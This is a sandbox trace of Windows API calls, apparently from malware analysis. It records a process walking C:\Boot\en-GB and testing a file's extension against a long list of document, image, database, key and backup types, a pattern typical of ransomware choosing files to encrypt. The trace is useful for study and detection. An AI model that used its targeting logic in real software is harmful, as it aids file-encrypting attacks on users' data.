	[0166.864] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0166.864] lstrlenW (lpString="C:\\Boot\\en-GB") returned 13
	[0166.864] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6abe58
	[0166.864] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.864] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.865] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0166.865] lstrlenW (lpString=".1cd") returned 4
	[0166.865] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0166.865] lstrlenW (lpString=".3ds") returned 4
	[0166.865] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0166.865] lstrlenW (lpString=".3fr") returned 4
	[0166.865] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0166.865] lstrlenW (lpString=".3g2") returned 4
	[0166.865] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0166.865] lstrlenW (lpString=".3gp") returned 4
	[0166.865] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0166.865] lstrlenW (lpString=".7z") returned 3
	[0166.865] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0166.865] lstrlenW (lpString=".accda") returned 6
	[0166.865] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0166.865] lstrlenW (lpString=".accdb") returned 6
	[0166.865] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0166.865] lstrlenW (lpString=".accdc") returned 6
	[0166.865] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0166.865] lstrlenW (lpString=".accde") returned 6
	[0166.865] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0166.865] lstrlenW (lpString=".accdt") returned 6
	[0166.865] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0166.865] lstrlenW (lpString=".accdw") returned 6
	[0166.865] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0166.865] lstrlenW (lpString=".adb") returned 4
	[0166.866] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0166.866] lstrlenW (lpString=".adp") returned 4
	[0166.866] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0166.866] lstrlenW (lpString=".ai") returned 3
	[0166.866] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0166.866] lstrlenW (lpString=".ai3") returned 4
	[0166.866] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0166.866] lstrlenW (lpString=".ai4") returned 4
	[0166.866] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0166.866] lstrlenW (lpString=".ai5") returned 4
	[0166.866] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0166.866] lstrlenW (lpString=".ai6") returned 4
	[0166.866] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0166.866] lstrlenW (lpString=".ai7") returned 4
	[0166.866] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0166.866] lstrlenW (lpString=".ai8") returned 4
	[0166.866] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0166.866] lstrlenW (lpString=".anim") returned 5
	[0166.866] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0166.866] lstrlenW (lpString=".arw") returned 4
	[0166.866] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0166.866] lstrlenW (lpString=".as") returned 3
	[0166.866] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0166.866] lstrlenW (lpString=".asa") returned 4
	[0166.866] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0166.866] lstrlenW (lpString=".asc") returned 4
	[0166.866] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0166.867] lstrlenW (lpString=".ascx") returned 5
	[0166.867] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0166.867] lstrlenW (lpString=".asm") returned 4
	[0166.867] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0166.867] lstrlenW (lpString=".asmx") returned 5
	[0166.867] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0166.867] lstrlenW (lpString=".asp") returned 4
	[0166.867] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0166.867] lstrlenW (lpString=".aspx") returned 5
	[0166.867] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0166.867] lstrlenW (lpString=".asr") returned 4
	[0166.867] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0166.867] lstrlenW (lpString=".asx") returned 4
	[0166.867] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0166.867] lstrlenW (lpString=".avi") returned 4
	[0166.867] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0166.867] lstrlenW (lpString=".avs") returned 4
	[0166.867] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0166.867] lstrlenW (lpString=".backup") returned 7
	[0166.867] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0166.867] lstrlenW (lpString=".bak") returned 4
	[0166.867] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0166.867] lstrlenW (lpString=".bay") returned 4
	[0166.867] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0166.867] lstrlenW (lpString=".bd") returned 3
	[0166.867] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0166.867] lstrlenW (lpString=".bin") returned 4
	[0166.867] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0166.868] lstrlenW (lpString=".bmp") returned 4
	[0166.868] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0166.868] lstrlenW (lpString=".bz2") returned 4
	[0166.868] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0166.868] lstrlenW (lpString=".c") returned 2
	[0166.868] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0166.868] lstrlenW (lpString=".cdr") returned 4
	[0166.868] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0166.868] lstrlenW (lpString=".cer") returned 4
	[0166.868] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0166.868] lstrlenW (lpString=".cf") returned 3
	[0166.868] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0166.868] lstrlenW (lpString=".cfc") returned 4
	[0166.868] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0166.868] lstrlenW (lpString=".cfm") returned 4
	[0166.868] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0166.868] lstrlenW (lpString=".cfml") returned 5
	[0166.868] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0166.868] lstrlenW (lpString=".cfu") returned 4
	[0166.868] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0166.868] lstrlenW (lpString=".chm") returned 4
	[0166.868] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0166.868] lstrlenW (lpString=".cin") returned 4
	[0166.868] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0166.868] lstrlenW (lpString=".class") returned 6
	[0166.868] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0166.868] lstrlenW (lpString=".clx") returned 4
	[0166.869] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0166.869] lstrlenW (lpString=".config") returned 7
	[0166.869] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0166.869] lstrlenW (lpString=".cpp") returned 4
	[0166.869] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0166.869] lstrlenW (lpString=".cr2") returned 4
	[0166.869] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0166.869] lstrlenW (lpString=".crt") returned 4
	[0166.869] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0166.869] lstrlenW (lpString=".crw") returned 4
	[0166.869] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0166.869] lstrlenW (lpString=".cs") returned 3
	[0166.869] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0166.869] lstrlenW (lpString=".css") returned 4
	[0166.869] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0166.869] lstrlenW (lpString=".csv") returned 4
	[0166.869] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0166.869] lstrlenW (lpString=".cub") returned 4
	[0166.869] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0166.869] lstrlenW (lpString=".dae") returned 4
	[0166.869] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0166.869] lstrlenW (lpString=".dat") returned 4
	[0166.869] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0166.869] lstrlenW (lpString=".db") returned 3
	[0166.869] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0166.869] lstrlenW (lpString=".dbf") returned 4
	[0166.869] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0166.869] lstrlenW (lpString=".dbx") returned 4
	[0166.870] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0166.870] lstrlenW (lpString=".dc3") returned 4
	[0166.870] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0166.870] lstrlenW (lpString=".dcm") returned 4
	[0166.870] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0166.870] lstrlenW (lpString=".dcr") returned 4
	[0166.870] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0166.870] lstrlenW (lpString=".der") returned 4
	[0166.870] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0166.870] lstrlenW (lpString=".dib") returned 4
	[0166.870] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0166.870] lstrlenW (lpString=".dic") returned 4
	[0166.870] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0166.870] lstrlenW (lpString=".dif") returned 4
	[0166.870] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0166.870] lstrlenW (lpString=".divx") returned 5
	[0166.870] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0166.870] lstrlenW (lpString=".djvu") returned 5
	[0166.870] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0166.870] lstrlenW (lpString=".dng") returned 4
	[0166.870] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0166.870] lstrlenW (lpString=".doc") returned 4
	[0166.870] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0166.870] lstrlenW (lpString=".docm") returned 5
	[0166.870] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0166.870] lstrlenW (lpString=".docx") returned 5
	[0166.870] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0166.870] lstrlenW (lpString=".dot") returned 4
	[0166.871] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0166.871] lstrlenW (lpString=".dotm") returned 5
	[0166.871] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0166.871] lstrlenW (lpString=".dotx") returned 5
	[0166.871] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0166.871] lstrlenW (lpString=".dpx") returned 4
	[0166.871] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0166.871] lstrlenW (lpString=".dqy") returned 4
	[0166.871] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0166.871] lstrlenW (lpString=".dsn") returned 4
	[0166.871] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0166.871] lstrlenW (lpString=".dt") returned 3
	[0166.871] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0166.871] lstrlenW (lpString=".dtd") returned 4
	[0166.871] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0166.871] lstrlenW (lpString=".dwg") returned 4
	[0166.871] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0166.871] lstrlenW (lpString=".dwt") returned 4
	[0166.871] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0166.872] lstrlenW (lpString=".dx") returned 3
	[0166.872] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0166.872] lstrlenW (lpString=".dxf") returned 4
	[0166.872] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0166.872] lstrlenW (lpString=".edml") returned 5
	[0166.872] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0166.872] lstrlenW (lpString=".efd") returned 4
	[0166.872] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0166.872] lstrlenW (lpString=".elf") returned 4
	[0166.872] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0166.872] lstrlenW (lpString=".emf") returned 4
	[0166.872] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0166.872] lstrlenW (lpString=".emz") returned 4
	[0166.872] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0166.872] lstrlenW (lpString=".epf") returned 4
	[0166.872] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0166.872] lstrlenW (lpString=".eps") returned 4
	[0166.872] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0166.872] lstrlenW (lpString=".epsf") returned 5
	[0166.872] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0166.872] lstrlenW (lpString=".epsp") returned 5
	[0166.872] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0166.872] lstrlenW (lpString=".erf") returned 4
	[0166.872] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0166.872] lstrlenW (lpString=".exr") returned 4
	[0166.872] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0166.872] lstrlenW (lpString=".f4v") returned 4
	[0166.872] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0166.873] lstrlenW (lpString=".fido") returned 5
	[0166.873] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0166.873] lstrlenW (lpString=".flm") returned 4
	[0166.873] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0166.873] lstrlenW (lpString=".flv") returned 4
	[0166.873] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0166.873] lstrlenW (lpString=".frm") returned 4
	[0166.873] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0166.873] lstrlenW (lpString=".fxg") returned 4
	[0166.873] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0166.873] lstrlenW (lpString=".geo") returned 4
	[0166.873] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0166.873] lstrlenW (lpString=".gif") returned 4
	[0166.873] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0166.873] lstrlenW (lpString=".grs") returned 4
	[0166.873] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0166.873] lstrlenW (lpString=".gz") returned 3
	[0166.873] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0166.873] lstrlenW (lpString=".h") returned 2
	[0166.873] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0166.873] lstrlenW (lpString=".hdr") returned 4
	[0166.873] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0166.873] lstrlenW (lpString=".hpp") returned 4
	[0166.873] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0166.873] lstrlenW (lpString=".hta") returned 4
	[0166.873] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0166.873] lstrlenW (lpString=".htc") returned 4
	[0166.874] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0166.874] lstrlenW (lpString=".htm") returned 4
	[0166.874] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0166.874] lstrlenW (lpString=".html") returned 5
	[0166.874] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0166.874] lstrlenW (lpString=".icb") returned 4
	[0166.874] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0166.874] lstrlenW (lpString=".ics") returned 4
	[0166.874] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0166.874] lstrlenW (lpString=".iff") returned 4
	[0166.874] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0166.874] lstrlenW (lpString=".inc") returned 4
	[0166.874] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0166.874] lstrlenW (lpString=".indd") returned 5
	[0166.874] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0166.874] lstrlenW (lpString=".ini") returned 4
	[0166.874] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0166.874] lstrlenW (lpString=".iqy") returned 4
	[0166.874] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0166.874] lstrlenW (lpString=".j2c") returned 4
	[0166.874] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0166.874] lstrlenW (lpString=".j2k") returned 4
	[0166.874] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0166.874] lstrlenW (lpString=".java") returned 5
	[0166.874] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0166.874] lstrlenW (lpString=".jp2") returned 4
	[0166.874] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0166.874] lstrlenW (lpString=".jpc") returned 4
	[0166.875] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0166.875] lstrlenW (lpString=".jpe") returned 4
	[0166.875] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0166.875] lstrlenW (lpString=".jpeg") returned 5
	[0166.875] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0166.875] lstrlenW (lpString=".jpf") returned 4
	[0166.875] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0166.875] lstrlenW (lpString=".jpg") returned 4
	[0166.875] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0166.875] lstrlenW (lpString=".jpx") returned 4
	[0166.875] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0166.875] lstrlenW (lpString=".js") returned 3
	[0166.875] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0166.875] lstrlenW (lpString=".jsf") returned 4
	[0166.875] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0166.875] lstrlenW (lpString=".json") returned 5
	[0166.875] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0166.875] lstrlenW (lpString=".jsp") returned 4
	[0166.875] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0166.875] lstrlenW (lpString=".kdc") returned 4
	[0166.875] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0166.875] lstrlenW (lpString=".kmz") returned 4
	[0166.875] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0166.875] lstrlenW (lpString=".kwm") returned 4
	[0166.875] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0166.875] lstrlenW (lpString=".lasso") returned 6
	[0166.875] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0166.875] lstrlenW (lpString=".lbi") returned 4
	[0166.876] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0166.876] lstrlenW (lpString=".lgf") returned 4
	[0166.876] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0166.876] lstrlenW (lpString=".lgp") returned 4
	[0166.876] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0166.876] lstrlenW (lpString=".log") returned 4
	[0166.876] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0166.876] lstrlenW (lpString=".m1v") returned 4
	[0166.876] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0166.876] lstrlenW (lpString=".m4a") returned 4
	[0166.876] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0166.876] lstrlenW (lpString=".m4v") returned 4
	[0166.876] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0166.876] lstrlenW (lpString=".max") returned 4
	[0166.876] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0166.876] lstrlenW (lpString=".md") returned 3
	[0166.876] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0166.876] lstrlenW (lpString=".mda") returned 4
	[0166.876] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0166.876] lstrlenW (lpString=".mdb") returned 4
	[0166.876] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0166.876] lstrlenW (lpString=".mde") returned 4
	[0166.876] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0166.876] lstrlenW (lpString=".mdf") returned 4
	[0166.876] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0166.876] lstrlenW (lpString=".mdw") returned 4
	[0166.876] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0166.877] lstrlenW (lpString=".mef") returned 4
	[0166.877] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0166.877] lstrlenW (lpString=".mft") returned 4
	[0166.877] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0166.877] lstrlenW (lpString=".mfw") returned 4
	[0166.877] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0166.877] lstrlenW (lpString=".mht") returned 4
	[0166.877] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0166.877] lstrlenW (lpString=".mhtml") returned 6
	[0166.877] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0166.877] lstrlenW (lpString=".mka") returned 4
	[0166.877] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0166.877] lstrlenW (lpString=".mkidx") returned 6
	[0166.877] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0166.877] lstrlenW (lpString=".mkv") returned 4
	[0166.877] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0166.877] lstrlenW (lpString=".mos") returned 4
	[0166.877] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0166.877] lstrlenW (lpString=".mov") returned 4
	[0166.877] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0166.877] lstrlenW (lpString=".mp3") returned 4
	[0166.877] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0166.877] lstrlenW (lpString=".mp4") returned 4
	[0166.877] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0166.877] lstrlenW (lpString=".mpeg") returned 5
	[0166.877] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0166.877] lstrlenW (lpString=".mpg") returned 4
	[0166.877] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0166.878] lstrlenW (lpString=".mpv") returned 4
	[0166.878] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0166.878] lstrlenW (lpString=".mrw") returned 4
	[0166.878] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0166.878] lstrlenW (lpString=".msg") returned 4
	[0166.878] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0166.878] lstrlenW (lpString=".mxl") returned 4
	[0166.878] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0166.878] lstrlenW (lpString=".myd") returned 4
	[0166.878] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0166.878] lstrlenW (lpString=".myi") returned 4
	[0166.878] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0166.878] lstrlenW (lpString=".nef") returned 4
	[0166.878] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0166.878] lstrlenW (lpString=".nrw") returned 4
	[0166.878] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0166.878] lstrlenW (lpString=".obj") returned 4
	[0166.878] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0166.878] lstrlenW (lpString=".odb") returned 4
	[0166.878] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0166.878] lstrlenW (lpString=".odc") returned 4
	[0166.878] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0166.878] lstrlenW (lpString=".odm") returned 4
	[0166.878] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0166.878] lstrlenW (lpString=".odp") returned 4
	[0166.878] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0166.878] lstrlenW (lpString=".ods") returned 4
	[0166.878] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0166.879] lstrlenW (lpString=".oft") returned 4
	[0166.879] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0166.879] lstrlenW (lpString=".one") returned 4
	[0166.879] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0166.879] lstrlenW (lpString=".onepkg") returned 7
	[0166.879] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0166.879] lstrlenW (lpString=".onetoc2") returned 8
	[0166.879] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0166.879] lstrlenW (lpString=".opt") returned 4
	[0166.879] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0166.879] lstrlenW (lpString=".oqy") returned 4
	[0166.879] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0166.879] lstrlenW (lpString=".orf") returned 4
	[0166.879] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0166.879] lstrlenW (lpString=".p12") returned 4
	[0166.879] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0166.879] lstrlenW (lpString=".p7b") returned 4
	[0166.879] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0166.879] lstrlenW (lpString=".p7c") returned 4
	[0166.879] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0166.879] lstrlenW (lpString=".pam") returned 4
	[0166.879] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0166.879] lstrlenW (lpString=".pbm") returned 4
	[0166.879] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0166.879] lstrlenW (lpString=".pct") returned 4
	[0166.879] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0166.879] lstrlenW (lpString=".pcx") returned 4
	[0166.879] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0166.880] lstrlenW (lpString=".pdd") returned 4
	[0166.880] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0166.880] lstrlenW (lpString=".pdf") returned 4
	[0166.880] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0166.880] lstrlenW (lpString=".pdp") returned 4
	[0166.880] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0166.880] lstrlenW (lpString=".pef") returned 4
	[0166.880] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0166.880] lstrlenW (lpString=".pem") returned 4
	[0166.880] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0166.880] lstrlenW (lpString=".pff") returned 4
